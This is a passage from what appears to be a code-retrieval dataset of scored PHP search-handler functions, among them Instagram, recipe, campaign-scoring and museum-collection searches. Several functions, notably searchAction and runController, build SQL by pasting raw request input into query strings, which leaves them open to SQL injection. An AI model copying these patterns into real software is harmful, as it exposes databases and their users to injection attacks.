\n }\n\n\n\n $this->resp->items = [];\n\n // Get data\n try {\n if ($type == \"hashtag\") {\n $search_result = $Instagram->hashtag->search($query);\n if ($search_result->isOk()) {\n foreach ($search_result->getResults() as $r) {\n $mediaCount = readableNumber($r->getMediaCount());\n $this->resp->items[] = [\n \"value\" => $r->getName(),\n \"data\" => [\n \"img\" => PLUGINS_URL.\"/\".self::IDNAME.\"/assets/img/hashtag-pesq.jpg\",\n \"sub\" => n__(\"%s public post\", \"%s public posts\", $mediaCount, $mediaCount),\n \"id\" => str_replace(\"#\", \"\", $r->getName())\n ]\n ];\n }\n }\n } else if ($type == \"location\") {\n $search_result = $Instagram->location->findPlaces($query);\n if ($search_result->isOk()) {\n foreach ($search_result->getItems() as $r) {\n if (!empty($r->getLocation()->getAddress())) { \n $address = $r->getLocation()->getAddress();\n if (!empty($r->getLocation()->getCity())) {\n $address .= ', '.$r->getLocation()->getCity();\n }\n } else {\n $address = false;\n }\n $this->resp->items[] = [\n \"value\" => $r->getLocation()->getName(),\n \"data\" => [\n \"img\" => PLUGINS_URL.\"/\".self::IDNAME.\"/assets/img/location-pesq.jpg\",\n \"sub\" => $address,\n \"id\" => $r->getLocation()->getFacebookPlacesId()\n ]\n ];\n }\n }\n } else if ($type == \"people\") {\n $search_result = $Instagram->people->search($query);\n if ($search_result->isOk()) {\n foreach ($search_result->getUsers() as $r) {\n $followersCount = readableNumber($r->getFollowerCount());\n if (empty($r->getFullName())) {\n $name = $followersCount.__(\" followers\");\n } else {\n $name = $r->getFullName().\" - \".$followersCount.__(\" followers\");\n }\n $this->resp->items[] = [\n \"value\" => $r->getUsername(), \n \"data\" => [\n \"img\" => $r->getProfilePicUrl(),\n \"sub\" => $name,\n \"id\" => $r->getPk()\n ]\n ];\n }\n }\n }\n } catch (\\Exception $e) {\n $this->resp->msg = $e->getMessage();\n $this->jsonecho(); \n }\n\n\n $this->resp->result = 1;\n $this->jsonecho();\n }", "title": "" }, { "docid": "f756b2bcb61714223072592cc743cfb3", "score": "0.5448351", "text": "public function searchAction ()\n {\n \n $config = Bootstrap::getConfig();\n \n if ($config['search_api'] !== true)\n {\n return self::json()->failure([\n 'message' => 'The search API is not activated.'\n ]);\n }\n \n $channel = (string) self::request()->getParam('channel');\n $platform = (string) self::request()->getParam('platform');\n $search = (string) self::request()->getParam('search');\n \n $sql = '\n SELECT MAX(a.label) AS label, MAX(a.description) AS description, MAX(ar.version) AS latestVersion, MAX(ar.created) AS created\n FROM s_application a\n LEFT JOIN s_application_release ar ON ar.appID = a.id\n LEFT JOIN s_channel c ON c.id = ar.channelID\n LEFT JOIN s_application_release_file arf ON arf.releaseID = ar.id\n LEFT JOIN s_platform p ON p.id = arf.platformID\n WHERE a.visibility = \"public\"\n AND ar.active = 1\n AND c.label = ?\n AND p.label = ?\n GROUP BY a.id\n ';\n \n $params = [\n $channel,\n $platform\n ];\n \n if (!empty($search))\n {\n $sql = str_replace('GROUP BY a.id', 'AND a.label LIKE ? GROUP BY a.id', $sql);\n $params[] = '%' . $search . '%';\n }\n \n $stmt = self::db()->query($sql);\n $stmt->execute($params);\n \n $results = $stmt->fetchAll(\\PDO::FETCH_ASSOC);\n \n return self::json()->success([\n 'data' => $results,\n 'total' => count($results)\n ]);\n }", "title": "" }, { "docid": "27dc8ffb88315994bf80ae19b4ce04b3", "score": "0.5443614", "text": "public static function search($query) {}", "title": "" }, { "docid": "59da67d5a13be25a962c8c54254dd514", "score": "0.5442704", "text": "public function runSearch() {\n \n// $res = $model\n// ->where(DownloadFiles_Model::COLUMN_ID_CATEGORY.' = :idc', array('idc' => $this->category()->getId()))\n// ->search($this->getSearchString());\n \n// if($res != false){\n// foreach ($res as $file) {\n// $this->addResult($file->{DownloadFiles_Model::COLUMN_NAME}, \n// $this->link()->anchor('dwfile-'.$file->{DownloadFiles_Model::COLUMN_FILE}), \n// $file->{DownloadFiles_Model::COLUMN_TEXT}, \n// $file->{Search::COLUMN_RELEVATION});\n// }\n// }\n\t}", "title": "" }, { "docid": "a0583c2455a7c431c0ab0c2f58a33f8f", "score": "0.54362726", "text": "public function handleRequest();", "title": "" }, { "docid": "93404e5017f88b57fb73b590e54d15f6", "score": "0.54354095", "text": "public function search_post() {\n\n $searchFilter = $this->post('filter');\n\n $department = $this->department_model->get(null, $searchFilter);\n\n if (!is_null($department)) {\n $this->response($department, 200);\n } else {\n $this->response(array('error' => 'NO HAY RESULTADOS'), 404);\n }\n }", "title": "" }, { "docid": "de1a1d9468bc0826565aff39e1d0fb30", "score": "0.5435053", "text": "public function search() {\r\n }", "title": "" }, { "docid": "5e27fa3f1673d560fea6ce03a4c1cd1b", "score": "0.5432605", "text": "public function search(Request $request)\n {\n $this->validate($request, [\n 'query' =>'required',\n 'type' =>'in:recipe,ingredient'\n ]);\n $query = $request->input('query');\n $type = $request->input('type');\n if ($type==\"recipe\") {\n $tag = Tag::where('name', $query)->first();\n if($tag != null)\n {\n $tagId = $tag->id;\n $result = Recipe::where('name', 'like', '%'.$query.'%')\n ->orWhereHas('tags', function ($q) use($tagId) {\n $q->where('tag_id', $tagId);\n }\n )->approved()->paginate(10);\n }\n else {\n $result = Recipe::where('name', 'like', '%'.$query.'%')->approved()->paginate(10);\n }\n\n return view('recipe.index')->with('recipes', $result);\n }\n if ($type==\"ingredient\") {\n $result = Ingredient::where('name', 'like', '%'.$query.'%')->paginate(10);\n return view('ingredient.index')->with('ingredients', $result);\n }\n }", "title": "" }, { "docid": "e999a8977676b42fb4dcf9f93d8e3d7b", "score": "0.54319173", "text": "abstract public function handleRequest();", "title": "" }, { "docid": "5c0403a520ef9ac69ba9272b9353a1b5", "score": "0.5427283", "text": "public function search(Request $request, $id)\n {\n //\n }", "title": "" }, { "docid": "1f116f61f26e7490cf9560b5dabffc7e", "score": "0.54240084", "text": "public function search($query)\n {\n //\n }", "title": "" }, { "docid": "8aa7ea7b4ba9a432b5b4d631d0fd61da", "score": "0.5419864", "text": "public function search(ShopRequests\\SearchRequest $request)\n {\n $params = $request->all();\n $response = $this->dispatch(new ShopJobs\\SearchJob($params));\n return $response;\n }", "title": "" }, { "docid": "57993b331e4fae83ef7d36cc83cd7971", "score": "0.54185593", "text": "public function __invoke(SearchRequest $request)\n {\n $requestData = $request->all();\n $arrival = $requestData['arrival'];\n $departure = $requestData['departure'];\n $where = $requestData['where'];\n $people = $requestData['people'];\n\n $housesResult = HouseManager::getSqlFreeHouse($arrival, $departure, $people, $where, House::ALL_HOUSES);\n $houses = House::rightJoin((DB::raw(\"($housesResult) AS h\")), 'houses.id', '=', 'h.house_id')\n ->addSelect(['user_name' => User::select('name')->whereColumn('user_id', 'users.id')])\n ->orderBy('name')\n ->orderBy('user_name')\n ->paginate(30);\n\n Cookie::queue('arrival', $arrival, 60);\n Cookie::queue('departure', $departure, 60);\n Cookie::queue('people', $people, 60);\n\n if ($request->ajax()) {\n return view('search.houses', compact('houses'));\n }\n\n return response()->view('search.index', [\n 'houses' => $houses,\n 'searchData' => $requestData,\n 'isSearch' => true,\n ]);\n }", "title": "" }, { "docid": "ca7206babf4ece479effd41112ee1cc3", "score": "0.5415134", "text": "public function search()\n\t{\n\t\t$term = $this->input->get('term');\n\t\t$results = Auto_Modeler_ORM::factory('project')->search($term);\n\t\t$this->view->results = $results;\n\t}", "title": "" }, { "docid": "4000e03fc490f51c216d87dab0af020d", "score": "0.5411092", "text": "public function search(Request $request)\n\t{\n\t\t$query = $request->input('q');\n\t\tif ($query === '') {\n\t\t\treturn abort(400, 'No Search Query');\n\t\t}\n\t\t$releases = Api::internal('api/v1/search/' . $query)->get();\n\n\t\treturn view('pages.search', ['query' => $query, 'releases' => $releases]);\n\t}", "title": "" }, { "docid": "228ebf68e7372f5e681d532407329e0a", "score": "0.54105175", "text": "public function search()\n {\n \treturn $this->index(Input::get());\n }", "title": "" }, { "docid": "744bdc666a25d82dc89202a79e138261", "score": "0.5408647", "text": "public function search() {\n }", "title": "" }, { "docid": "eed26d4c18c5e5333a88b734eedb31fd", "score": "0.5405374", "text": "public function searchAction()\n {\n // post data:\n $backup_lod = $list_of_domains = json_decode(trim($_POST['list_of_domains']), 1);\n $campaign_name = trim($_POST['campaign_name']);\n $keywords = trim($_POST['keywords']);\n $selected_domain_id = trim($_POST['selected_domain']);\n $start_date = trim($_POST['start_date']);\n $end_date = trim($_POST['start_date']);\n $auto_complete_url = trim($_POST['auto_complete_url']);\n $pages_per_domain = trim($_POST['pages_per_domain']);\n\n $output = array('error' => 1);\n if (!isset($_POST['algorithm_id'])) {\n $output['msg'] = 'You must select and algorithm!';\n $this->jsonResponse($output);\n }\n $algorithm_id = trim($_POST['algorithm_id']);\n\n // determine if campaign exists:\n $total = MasterCampaign::count(\"Name = '\" . $campaign_name . \"'\");\n if ($total) {\n $output['msg'] = 'Campaign already exists!';\n $this->jsonResponse($output);\n }\n\n // manage list of domains and their ids:\n if (!is_array($list_of_domains) AND count($list_of_domains) < 2) {\n $output['msg'] = 'Not enough domains to create a campaign!';\n $this->jsonResponse($output);\n }\n\n unset($list_of_domains[$selected_domain_id]);\n $list_of_domains = array_values(array_flip($list_of_domains));\n\n // manage searched keywords:\n if (!strlen($keywords)) {\n $output['msg'] = 'No keyword to search!';\n $this->jsonResponse($output);\n }\n\n // get algorithm config:\n $algorithm = $this->db->fetchOne(sprintf('SELECT * FROM algorithms WHERE id=%d', $algorithm_id), Db::FETCH_ASSOC);\n $aConfig = json_decode($algorithm['config'], 1);\n\n $sentimental_types = array();\n foreach ($aConfig as $key => $value) {\n if(!is_numeric($value)) {\n $aConfig[$key] = 0;\n }\n $aConfig[$key] = (int)$value;\n\n switch ($key) {\n case 'sentiment_negative':\n $generic_value = 0;\n break;\n case 'sentiment_positive':\n $generic_value = 1;\n break;\n case 'sentiment_neutral':\n $generic_value = 2;\n break;\n default:\n $generic_value = -1;\n break;\n }\n\n if ($generic_value > -1 AND $value == 1) {\n $sentimental_types[] = $generic_value;\n }\n }\n\n /* build up query to search for keyword: */\n $keywords = $this->getWordsProperly($keywords);\n\n $query = \"\nSELECT\n *,\n @score0 := \" . $aConfig['keyword_content'] . \" *(MATCH (body) AGAINST('\" . $keywords . \"') ) as relevanceScorePoints,\n @score1 := \" . $aConfig['keyword_title'] . \" *( MATCH (page_title) AGAINST('\" . $keywords . \"') ) AS scoreTitle,\n @score2 := \" . $aConfig['keyword_meta'] . \" *( MATCH (description) AGAINST('\" . $keywords . \"') ) AS scoreDescription,\n @score3 := \" . $aConfig['keyword_h'] . \" *( MATCH (heading_text) AGAINST('\" . $keywords . \"') ) AS scoreHeadings,\n\n @score4 := \" . $aConfig['pagerank_0'] . \" *(google_rank IS NOT NULL && google_rank = 0) AS scoreRank0,\n @score5 := \" . $aConfig['pagerank_13'] . \" *(google_rank IS NOT NULL && (google_rank >= 1 && google_rank <=3) ) AS scoreRank13,\n @score6 := \" . $aConfig['pagerank_46'] . \" *(google_rank IS NOT NULL && (google_rank >= 4 && google_rank <=6) ) AS scoreRank46,\n @score7 := \" . $aConfig['pagerank_710'] . \" *(google_rank IS NOT NULL && (google_rank >= 7 && google_rank <=10) ) AS scoreRank710,\n\n @score8 := \" . $aConfig['share'] . \" *( IFNULL(fb_shares, 0) + IFNULL(fb_comments, 0) + IFNULL(fb_likes, 0) + IFNULL(tweeter, 0) + IFNULL(google_plus, 0) ) AS scoreShare,\n\n @score9 := \" . $aConfig['incoming'] . \" *( IFNULL(total_back_links, 0) ) AS scoreIncom,\n @score10 := \" . $aConfig['outgoing'] . \" *( IFNULL(follow_links, 0) + IFNULL(no_follow_links, 0) ) AS scoreOutgo,\n\n (@score0 + @score1 + @score2 + @score3 + @score4 + @score5 + @score6 + @score7 + @score8 + @score9 + @score10) AS scoreTotal\nFROM page_main_info AS pmi\nINNER JOIN page_main_info_body AS pmib ON pmib.page_id = pmi.id\nINNER JOIN page_main_info_headings AS pmih ON pmih.page_id = pmi.id\nWHERE\n pmi.DomainURLIDX IN (\" . implode( ', ', $list_of_domains ) . \")\n AND MATCH (body) AGAINST('\" . $keywords . \"' IN BOOLEAN MODE)\nORDER by scoreTotal desc\nLIMIT 1000\n\";\n $result = $this->db->fetchAll( $query, Db::FETCH_ASSOC );\n\n if (!count($result)) {\n $output['msg'] = 'No results returned!';\n $this->jsonResponse($output);\n }\n\n // get domains_age:\n $domains_age = $this->getDomainsAge(StatusDomain::find());\n\n // handle percentage and data for filtering:\n $first = false;\n $min_max = $results_filtered = array();\n $avoid_keys = array_flip(array('page_id', 'PageURL', 'keyword_title', 'keyword_description', 'keyword_headings'));\n\n // get only X number of links per domain and apply some filtering to links\n $collectedPerDomain = array();\n $collectedLinks = array();\n $newResult = array();\n foreach ($result as $s_no => $link) {\n $domainId = $link['DomainURLIDX'];\n if ( ! isset( $collectedPerDomain[$domainId] )) {\n $collectedPerDomain[$domainId] = array();\n }\n\n if ( ! isset( $collectedLinks[$link['PageURL']] ) and ! isset( $collectedLinks[$link['PageURL'] . '/'] ) AND count( $collectedPerDomain[$domainId] ) < $pages_per_domain) {\n $collectedPerDomain[$domainId][] = '';\n $collectedLinks[$link['PageURL']] = '';\n $newResult[] = $link;\n }\n }\n\n // cleanup:\n $collectedPerDomain = $collectedLinks = array();\n $result = $newResult;\n\n foreach ($result as $s_no => $link) {\n if (!$first) {\n $first = $link['scoreTotal'];\n }\n\n // save percentage to main array:\n if((int)$first !== 0) {\n $temp_perc = floor( $link['scoreTotal'] * 100 / $first );\n } else {\n $temp_perc = 0;\n }\n\n $result[$s_no]['percentage'] = $percentage = $temp_perc;\n\n // build up array for JS:\n $incoming_links = $result[$s_no]['total_back_links'];\n $outgoing_links = $result[$s_no]['follow_links'] + $result[$s_no]['no_follow_links'];\n $google_rank = ($result[$s_no]['google_rank'] == null) ? 0 : $result[$s_no]['google_rank'];\n $share_count = $link['fb_shares'] + $link['fb_likes'] + $link['fb_comments'] + $link['tweeter'] + $link['google_plus'];\n\n $temp = array(\n 'page_id' => (int)$result[$s_no]['page_id'],\n 'PageURL' => $result[$s_no]['PageURL'],\n 'keyword_title' => $result[$s_no]['scoreTitle'],\n 'keyword_description' => $result[$s_no]['scoreDescription'],\n 'keyword_headings' => $result[$s_no]['scoreHeadings'],\n 'percentage' => (int)$percentage,\n 'incoming_links' => (int)$incoming_links,\n 'outgoing_links' => (int)$outgoing_links,\n 'google_rank' => (int)$google_rank,\n 'share_count' => (int)$share_count,\n 'sentiment' => (int)$result[$s_no]['sentimental_type'],\n 'domain_age' => (int)$domains_age[$result[$s_no]['DomainURLIDX']],\n );\n $results_filtered[] = $temp;\n\n // handle minimum-maximum available in filtering:\n foreach ($temp as $key => $value) {\n if (!isset($avoid_keys[$key])) {\n if (!isset($min_max[$key]['min']) OR $value <= $min_max[$key]['min']) {\n $min_max[$key]['min'] = $value;\n }\n\n if (!isset($min_max[$key]['max']) or $value >= $min_max[$key]['max']) {\n $min_max[$key]['max'] = $value;\n }\n }\n }\n }\n\n // ..\n $this->view->disableLevel(View::LEVEL_MAIN_LAYOUT);\n $this->view->disableLevel(View::LEVEL_LAYOUT);\n\n echo $this->view->getRender('layouts', 'campaign_ajax', array(\n 'results' => $result,\n 'results_filtered' => $results_filtered,\n 'min_max' => $min_max,\n 'sentimental_types' => $sentimental_types,\n 'campaign_name' => $campaign_name,\n 'keywords' => $keywords,\n 'start_date' => $start_date,\n 'end_date' => $end_date,\n 'list_of_domains' => $backup_lod,\n 'auto_complete_url' => $auto_complete_url,\n 'selected_domain_id' => $selected_domain_id,\n ));\n }", "title": "" }, { "docid": "968366ad4bc3b3332f81cd6bc8b5b3d2", "score": "0.539401", "text": "protected function runController()\n {\n // init searchResult\n $searchResult = array();\n\n // ************************\n // ZUSCHSCHREIBUNG / ATTRIBUTION\n // ************************\n if(!empty($this->attr)) {\n // search for attribution\n foreach($this->attr as $value) {\n // if value is not 0\n if($value == '0') {\n // Delete prev search result\n $this->deleteSearchResultById();\n } else {\n // run mysql search request\n $result = $this->searchAttr($value);\n // set the subset\n $searchResult = $this->setSubset($result, \"attr\");\n }\n }\n }\n\n // ************************\n // DATIERUNG / DATING\n // ************************\n // init tmp\n $tmp = 0;\n $query = '';\n // init date query\n if(count($this->helper->returnCountable($this->date)) > 1) {\n // search for date\n foreach($this->date as $value) {\n // if value is not 0\n if($value != '0') {\n // run mysql search request\n $query .= ($tmp == 0) ? $this->searchDate($value) : 'OR '.$this->searchDate($value);\n // incr\n $tmp++;\n }\n }\n if(!empty($query)) {\n // set the subset\n $searchResult = $this->setSubset(array(), \"date\", $query);\n // write search result into table\n $this->writeResult($searchResult);\n }\n }\n\n // ************************\n // TECHNIK / TECHNIQUE\n // ************************\n // init tmp\n $tmp = 0;\n $query = '';\n // technique\n if(!empty($this->technique)) {\n // search for attribution\n foreach($this->technique as $value) {\n // if value is not 0\n if($value != '0') {\n // run mysql search request\n $query .= ($tmp == 0) ? $this->searchTech($value) : 'OR '.$this->searchTech($value);\n //incr\n $tmp++;\n }\n }\n if(!empty($query)) {\n // set the subset\n $searchResult = $this->setSubset(array(), \"tech\", $query);\n // write search result into table\n $this->writeResult($searchResult);\n }\n }\n\n // ************************\n // Category\n // ************************\n // init tmp\n $tmp = 0;\n $results = array();\n // technique\n if(!empty($this->category)) {\n \n // search for attribution\n foreach($this->category as $value) {\n array_push($results, $this->searchCategory($value));\n }\n\n if(!empty($results)) {\n // write search result into table\n foreach($results as $result){\n $this->writeResult($result);\n }\n }\n }\n\n // ************************\n // SAMMLUNGEN / COLLECTION\n // ************************\n // init tmp\n $tmp = 0;\n $query = '';\n // collection\n if(!empty($this->collection)) {\n // search for attribution\n foreach($this->collection as $value) {\n // if value is not 0\n if($value != '0') {\n // run mysql search request\n $result = $this->searchCollection($value);\n if(!empty($result)) {\n $query .= ($tmp == 0) ? $result : 'OR '.$result;\n //incr\n $tmp++;\n }\n }\n }\n if(!empty($query)) {\n // set the subset\n $searchResult = $this->setSubset(array(), \"collection\", $query);\n // write search result into table\n $this->writeResult($searchResult);\n }\n }\n\n // ************************\n // THESAURUS\n // ************************\n // init tmp\n $tmp = 0;\n $query = '';\n // collection\n if(!empty($this->thesau)) {\n // search for attribution\n foreach($this->thesau as $value) {\n // if value is not 0\n if($value != '0') {\n // run mysql search request\n $result = \"t.Phrase = '$value'\";\n // create query\n $query .= ($tmp == 0) ? $result : 'OR '.$result;\n //incr\n $tmp++;\n }\n }\n if(!empty($query)) {\n // set the subset\n $searchResult = $this->setSubset(array(), \"thesau\", $query);\n // write search result into table\n $this->writeResult($searchResult);\n }\n }\n\n\n // ************************\n // TITLE ADVANCED SEARCH\n // ************************\n if(!empty($this->search_input[2])) {\n\n // set search title variable:\n $search_title = str_replace(\"*\", \"%\", $this->search_input[2]);\n\n // run mysql search request\n $query = \"t.Title LIKE '%$search_title%'\";\n\n // set subset\n $searchResult = $this->setSubset(array(), \"title\", $query);\n // write search result into table\n $this->writeResult($searchResult);\n }\n\n\n // ************************\n // FR-NO ADVANCED SEARCH\n // ************************\n if(!empty($this->search_input[3])) {\n\n // set seach title variable:\n $search_fr = $this->search_input[3];\n // run mysql search request\n $query = \"o.ObjIdentifier LIKE '%$search_fr%'\";\n // set subset\n $searchResult = $this->setSubset(array(), \"fr-no\", $query);\n // write search result into table\n $this->writeResult($searchResult);\n }\n\n // ************************\n // LOCATION ADVANCED SEARCH\n // ************************\n if(!empty($this->search_input[4])) {\n // set seach title variable:\n $search_location = $this->search_input[4];\n\n // run mysql search request\n $query = \"l.Location LIKE '%$search_location%'\";\n\n // set subset\n $searchResult = $this->setSubset(array(), \"location\", $query);\n // write search result into table\n $this->writeResult($searchResult);\n }\n\n // ************************\n // ID ADVANCED SEARCH\n // ************************\n if(!empty($this->search_input[5])) {\n // set seach title variable:\n $search_id = $this->search_input[5];\n\n // run mysql search request\n $query = \"o.ObjNr LIKE '%$search_id%'\";\n\n // set subset\n $searchResult = $this->setSubset(array(), \"refNr\", $query);\n // write search result into table\n $this->writeResult($searchResult);\n }\n\n\n // ************************\n // FULLTEXT SEARCH\n // ************************\n if(!empty($this->search_input[1])) {\n // init result\n $result = array();\n // get search input\n $search_input\t\t= $this->search_input[1];\n // get fulltext search query\n $result = $this->searchFullText($search_input);\n // set subset\n $searchResult = $this->setSubset($result, \"fullText\");\n // write search result into table\n $this->writeResult($searchResult);\n }\n\n // ************************+++++++++++++++++++\n // AA (ARCHIVAL DOCUMENTS) DATIERUNG / DATING\n // ************************+++++++++++++++++++\n // init tmp\n $tmp = 0;\n $query = '';\n // init date query\n if(!empty($this->aa_date)) {\n // search for date\n foreach($this->aa_date as $value) {\n\n // if value is not 0\n if($value == '0') {\n // Delete prev search result\n $this->deleteSearchResultById();\n // if value is not 0\n } else {\n // run mysql search request\n $query .= ($tmp == 0) ? $this->aa_searchDate($value) : 'OR '.$this->aa_searchDate($value);\n // incr\n $tmp++;\n }\n }\n if(!empty($query)) {\n // set the subset\n $searchResult = $this->setSubset(array(), \"AA\", $query);\n // write search result into table\n $this->writeResult($searchResult);\n }\n }\n\n // ************************************************\n // AA (ARCHIVAL DOCUMENTS) INSTITUTION\n // ************************************************\n // init tmp\n $tmp = 0;\n $query = '';\n // collection\n if(!empty($this->aa_institution)) {\n // search for attribution\n foreach($this->aa_institution as $value) {\n // if value is not 0\n if($value != '0') {\n // run mysql search request\n $result = $this->aa_searchInstitution($value);\n if(!empty($result)) {\n $query .= ($tmp == 0) ? $result : 'OR '.$result;\n //incr\n $tmp++;\n }\n }\n }\n if(!empty($query)) {\n // set the subset\n $searchResult = $this->setSubset(array(), \"AA\", $query);\n // write search result into table\n $this->writeResult($searchResult);\n }\n }\n\n // ***********************************\n // AA (ARCHIVAL DOCUMENTS) YEAR\n // ***********************************\n if(!empty($this->aa_search_input[2])) {\n\n // set search title variable:\n $aa_search_year = str_replace(\"*\", \"%\", $this->aa_search_input[2]);\n\n // run mysql search request\n $query = \"t.DATE LIKE '%$aa_search_year%'\";\n\n // set subset\n $searchResult = $this->setSubset(array(), \"AA\", $query);\n // check result\n if(empty($searchResult)) $this->prev_search_empty = true;\n // write search result into table\n $this->writeResult($searchResult);\n }\n\n // ***********************************\n // AA (ARCHIVAL DOCUMENTS) SIGNATURE\n // ***********************************\n if(!empty($this->aa_search_input[3])) {\n\n // set search title variable:\n $aa_search_sig = str_replace(\"*\", \"%\", $this->aa_search_input[3]);\n\n // run mysql search request\n $query = \"t.Signature LIKE '%$aa_search_sig%'\";\n\n // set subset\n $searchResult = $this->setSubset(array(), \"AA\", $query);\n // check result\n if(empty($searchResult)) $this->prev_search_empty = true;\n // write search result into table\n $this->writeResult($searchResult);\n }\n\n // ***************************************\n // AA (ARCHIVAL DOCUMENTS) FULLTEXT SEARCH\n // ***************************************\n if(!empty($this->aa_search_input[1])) {\n // init result\n $result = array();\n // get search input\n $aa_search_input\t\t= $this->aa_search_input[1];\n // get fulltext search query\n $result = $this->aa_searchFullText($aa_search_input);\n // set subset\n $searchResult = $this->setSubset($result, \"aa_fullText\");\n // check result\n if(empty($searchResult)) $this->prev_search_empty = true;\n // write search result into table\n $this->writeResult($searchResult);\n }\n\n // add subset to the main set\n $this->searchResult = $this->fullSet();\n }", "title": "" }, { "docid": "bea126ea0ec2050f71c6316463b1c2d2", "score": "0.5388575", "text": "public function search($query) {\n // TODO: implement index\n }", "title": "" }, { "docid": "c71902bb56b51091d53dcab1dc7cdf71", "score": "0.5387414", "text": "public function indexAction()\n {\n $module = $this->params('m');\n $service = $this->params('s');\n if ($module) {\n $this->searchModule($module);\n } elseif ($service) {\n $this->searchService($service);\n } else {\n $this->searchGlobal();\n }\n }", "title": "" }, { "docid": "b7fc9c267d9e2d13e84aebc0b3ee5399", "score": "0.53869903", "text": "public function perform_task()\n\t{\n\t\t// Authenticate the user\n\t\tif ( ! $this->api_service->_login(TRUE))\n\t\t{\n\t\t\t$this->set_error_message($this->response(2));\n\t\t\treturn;\n\t\t}\n\n\t\t// by request\n\t\tif ($this->api_service->verify_array_index($this->request, 'by'))\n\t\t{\n\t\t\t$this->_check_optional_parameters();\n\t\t\t\n\t\t\t$this->by = $this->request['by'];\n\n\t\t\tswitch ($this->by)\n\t\t\t{\n\t\t\t\tcase \"approved\" :\n\t\t\t\t\t$this->response_data = $this->_get_approved_reports();\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase \"unapproved\" :\n\t\t\t\t\t$this->response_data = $this->_get_unapproved_reports();\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase \"verified\" :\n\t\t\t\t\t$this->response_data = $this->_get_verified_reports();\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase \"unverified\" :\n\t\t\t\t\t$this->response_data = $this->_get_unverified_reports();\n\t\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\tcase \"incidentid\":\n\t\t\t\t\tif ( ! $this->api_service->verify_array_index($this->request, 'id'))\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->set_error_message(array(\n\t\t\t\t\t\t\t\"error\" => $this->api_service->get_error_msg(001, 'id')\n\t\t\t\t\t\t));\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$where = array('i.id = '.$this->check_id_value($this->request['id']));\n\t\t\t\t\t$where['all_reports'] = TRUE;\n\t\t\t\t\t$this->response_data = $this->_get_incidents($where);\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\tcase \"all\" :\n\t\t\t\t\t$this->list_limit = Null; #BUG: \"all\" picks up the last limit used\n\t\t\t\t\t$this->response_data = $this->_get_all_reports();\n\t\t\t\t\tbreak;\n\n\t\t\t\tdefault :\n\t\t\t\t\t$this->set_error_message(array(\n\t\t\t\t\t\t\"error\" => $this->api_service->get_error_msg(002)\n\t\t\t\t\t));\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\n\t\t// action request\n\t\telse if ($this->api_service->verify_array_index($this->request, 'action'))\n\t\t{\n\t\t\t$this->report_action();\n\t\t\treturn;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->set_error_message(array(\"error\" => $this->api_service->get_error_msg(001, 'by or action')));\n\t\t\treturn;\n\t\t}\n\t}", "title": "" }, { "docid": "c52545c997f35bcd14edd0834277ac1a", "score": "0.5383331", "text": "function run($map)\n\t{\n\t\trequire_lang('search');\n\t\trequire_css('search');\n\t\trequire_javascript('javascript_ajax_people_lists');\n\n\t\t$zone=array_key_exists('zone',$map)?$map['zone']:get_module_zone('search');\n\n\t\t$title=array_key_exists('title',$map)?$map['title']:NULL;\n\t\tif ($title===NULL) $title=do_lang('SEARCH');\n\n\t\t$sort=array_key_exists('sort',$map)?$map['sort']:'relevance';\n\t\t$author=array_key_exists('author',$map)?$map['author']:'';\n\t\t$days=array_key_exists('days',$map)?intval($map['days']):-1;\n\t\t$direction=array_key_exists('direction',$map)?$map['direction']:'DESC';\n\t\t$only_titles=(array_key_exists('only_titles',$map)?$map['only_titles']:'')=='1';\n\t\t$only_search_meta=(array_key_exists('only_search_meta',$map)?$map['only_search_meta']:'0')=='1';\n\t\t$boolean_search=(array_key_exists('boolean_search',$map)?$map['boolean_search']:'0')=='1';\n\t\t$conjunctive_operator=array_key_exists('conjunctive_operator',$map)?$map['conjunctive_operator']:'AND';\n\t\t$_extra=array_key_exists('extra',$map)?$map['extra']:'';\n\n\t\t$map2=array('page'=>'search','type'=>'results');\n\t\tif (array_key_exists('search_under',$map)) $map2['search_under']=$map['search_under'];\n\t\t$url=build_url($map2,$zone,NULL,false,true);\n\n\t\t$extra=array();\n\t\tforeach (explode(',',$_extra) as $_bits)\n\t\t{\n\t\t\t$bits=explode('=',$_bits,2);\n\t\t\tif (count($bits)==2) $extra[$bits[0]]=$bits[1];\n\t\t}\n\n\t\t$input_fields=array('content'=>do_lang('SEARCH_TITLE'));\n\t\tif (array_key_exists('input_fields',$map))\n\t\t{\n\t\t\t$input_fields=array();\n\t\t\tforeach (explode(',',$map['input_fields']) as $_bits)\n\t\t\t{\n\t\t\t\t$bits=explode('=',$_bits,2);\n\t\t\t\tif (count($bits)==2) $input_fields[$bits[0]]=$bits[1];\n\t\t\t}\n\t\t}\n\n\t\t$limit_to=array('all_defaults');\n\t\t$extrax=array();\n\t\tif (array_key_exists('limit_to',$map))\n\t\t{\n\t\t\t$limit_to=array();\n\t\t\tforeach (explode(',',$map['limit_to']) as $key)\n\t\t\t{\n\t\t\t\t$limit_to[]='search_'.$key;\n\t\t\t\tif (strpos($map['limit_to'],',')!==false)\n\t\t\t\t{\n\t\t\t\t\t$extrax['search_'.$key]='1';\n\t\t\t\t}\n\t\t\t}\n\t\t\t$hooks=find_all_hooks('modules','search');\n\t\t\tforeach (array_keys($hooks) as $key)\n\t\t\t{\n\t\t\t\tif (!array_key_exists('search_'.$key,$extrax)) $extrax['search_'.$key]='0';\n\t\t\t}\n\t\t\tif (strpos($map['limit_to'],',')===false)\n\t\t\t{\n\t\t\t\t$extra['id']=$map['limit_to'];\n\t\t\t}\n\t\t}\n\n\t\tunset($map['input_fields']);\n\t\tunset($map['extra']);\n\t\tunset($map['zone']);\n\t\tunset($map['title']);\n\t\tunset($map['limit_to']);\n\t\tunset($map['block']);\n\t\t$full_link=build_url(array('page'=>'search','type'=>'misc')+$map+$extra+$extrax,$zone);\n\n\t\tif ((!array_key_exists('content',$input_fields)) && (count($input_fields)!=1)) $extra['content']='';\n\n\t\treturn 